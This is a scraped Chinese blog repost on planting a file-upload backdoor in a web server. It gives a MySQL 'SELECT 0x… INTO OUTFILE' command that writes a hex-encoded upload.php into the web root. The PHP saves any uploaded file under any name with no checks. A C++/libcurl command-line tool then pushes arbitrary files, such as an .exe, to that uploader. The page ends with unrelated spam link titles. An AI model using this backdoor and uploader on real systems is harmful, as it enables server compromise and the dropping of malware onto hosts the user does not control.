当前位置: 首页 > news >正文

企业网站管理系统/模板建站流程

企业网站管理系统,模板建站流程,公众号编辑器官网,wordpress企业网站建设http://www.cnblogs.com/killbit/p/5393301.html 附上这篇文章,因为当时就已经想到了模拟上传,但是因为时间关系,所以就直接用PHP写了。现在改进一下,用VClibcurl库。 我们也直接可以用MYSQL写入这段上传代码就可以了。 select 0x…

http://www.cnblogs.com/killbit/p/5393301.html 附上这篇文章,因为当时就已经想到了模拟上传,但是因为时间关系,所以就直接用PHP写了。现在改进一下,用VC+libcurl库。

 

我们也直接可以用MYSQL写入这段上传代码就可以了。

 

select 0x3C3F70687020696628245F46494C45535B2766696C65275D5B276E616D65275D20213D20222229207B20636F70792028245F46494C45535B2766696C65275D5B27746D705F6E616D65275D2C20245F46494C45535B2766696C65275D5B276E616D65275D2920206F7220646965202822436F756C64206E6F7420636F70792066696C6522293B207D20656C7365207B20206469652820224E6F2066696C65207370656369666965642220293B7D3F3E into outfile 'c:\\xampp\\htdocs\\upload.php';

 

 

upload.html

 

<form action="upload.php" method="post" enctype="multipart/form-data">File:<input type="file" name="file">FileName:<input type="text" name="name">   <input type="submit" name="submit" value="Submit">  
</form>

 

upload.php

 

<?php if($_FILES['file']['name'] != "") { copy ($_FILES['file']['tmp_name'], $_FILES['file']['name'])  or die ("Could not copy file"); } else {  die( "No file specified" );}?>

 

VC代码:

 

// curl_uploader.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <curl/curl.h>
#pragma comment(lib,"libcurl.lib");int http_post_upload(char* Urlpath,char* uploadname)
{CURL *curl;  CURLcode res;  struct curl_httppost *formpost=NULL;  struct curl_httppost *lastptr=NULL;  struct curl_slist *headerlist=NULL;  static const char buf[] = "Expect:";  curl_global_init(CURL_GLOBAL_ALL);  /* Fill in the file upload field */  curl_formadd(&formpost,  &lastptr,  CURLFORM_COPYNAME, "file",  CURLFORM_FILE, uploadname,  CURLFORM_END);  /* Fill in the filename field */  
//       curl_formadd(&formpost,  
//                    &lastptr,  
//                    CURLFORM_COPYNAME, "name",  
//                    CURLFORM_COPYCONTENTS, tempname,  
//                    CURLFORM_END);  /* Fill in the submit field too, even if this is rarely needed */  curl_formadd(&formpost,  &lastptr,  CURLFORM_COPYNAME, "submit",  CURLFORM_COPYCONTENTS, "Submit",  CURLFORM_END);  curl = curl_easy_init();  /* initalize custom header list (stating that Expect: 100-continue is not wanted */  headerlist = curl_slist_append(headerlist, buf);  if(curl) {  /* what URL that receives this POST */  curl_easy_setopt(curl, CURLOPT_URL, Urlpath);/*    if ( (argc == 2) && (!strcmp(argv[1], "noexpectheader")) )  *//* only disable 100-continue header if explicitly requested */  curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headerlist);  curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);  //   /* Perform the request, res will get the return code */  res = curl_easy_perform(curl);  /* Check for errors */  if(res != CURLE_OK)  fprintf(stderr, "curl_easy_perform() failed: %s\n",  curl_easy_strerror(res));  /* always cleanup */  curl_easy_cleanup(curl);  /* then cleanup the formpost chain */  curl_formfree(formpost);  /* free slist */  curl_slist_free_all (headerlist);  }  return 0;  
}int main(int argc, char *argv[])  
{  char* url = argv[1];char* Filename = argv[2];if (argc < 2){printf("[-]:%s Upload_url upload_Filename\r\n",argv[0]);printf("[-]:%s http://192.168.1.1/upload.php c:\\test.exe\r\n",argv[0]);exit(0);}int res = http_post_upload(url,Filename);if (res != 0){printf("\r\n[-]:upload error->Getlasterror:%d\r\n",GetLastError());}else{printf("\r\n[+]:upload sucessfuly \r\n");}return 0;}  

 

转载于:https://www.cnblogs.com/killbit/p/5401943.html

http://www.jmfq.cn/news/5240647.html

相关文章:

  • linux系统如何做网站/重庆seo网站系统
  • app手机应用软件开发/seo关键词如何布局
  • 香港 wordpress 推荐/天津搜索引擎优化
  • win7用本地文件做网站模板/百度客服电话号码
  • 网站建设价类型/外贸seo
  • 杭州滨江区抖音seo货真价实/成都seo达人
  • 无锡网站开发培训/合肥网络推广培训学校
  • 百度网站如何做/外贸网络营销平台
  • pc端网站建设哪里有/广告代发平台
  • 网站建设公司比较好的有哪些/百度竞价推广培训
  • 国外推广渠道平台/seo免费视频教程
  • 山东青岛网站制作公司/百度云盘网页版
  • 网站建设课程改进建议/搜索引擎优化与推广技术
  • 免费ae模板素材网站/seo的推广技巧
  • 杭州培训网站建设/什么平台可以推销自己的产品
  • ps 做网站切图/seo研究中心vip课程
  • 国外网站建设嫣语赋/温州seo品牌优化软件
  • 瓦房店 网站建设/德国搜索引擎
  • 国内网站制作特点/百度竞价排名危机事件
  • 在家里怎样做网站/广告公司推广软文
  • 淮北网站开发公司/东莞seo优化排名推广
  • 检查网站是否做301/个人网页制作
  • 网站克隆镜像做关键字seo/网页搭建
  • 给政府做采购哪个网站平台/seo是什么意思啊
  • asp图片源码网站/电商运营基础知识
  • 深圳手机网站制作公司排名/360网站推广客服电话
  • 无锡梦燕服饰网站谁做的/网络营销的工具有哪些
  • 嘉兴网站的优化/下载谷歌浏览器并安装
  • 个人备案网站类型/营销策划书范文案例
  • 学网站建设 赚钱/seo教学实体培训班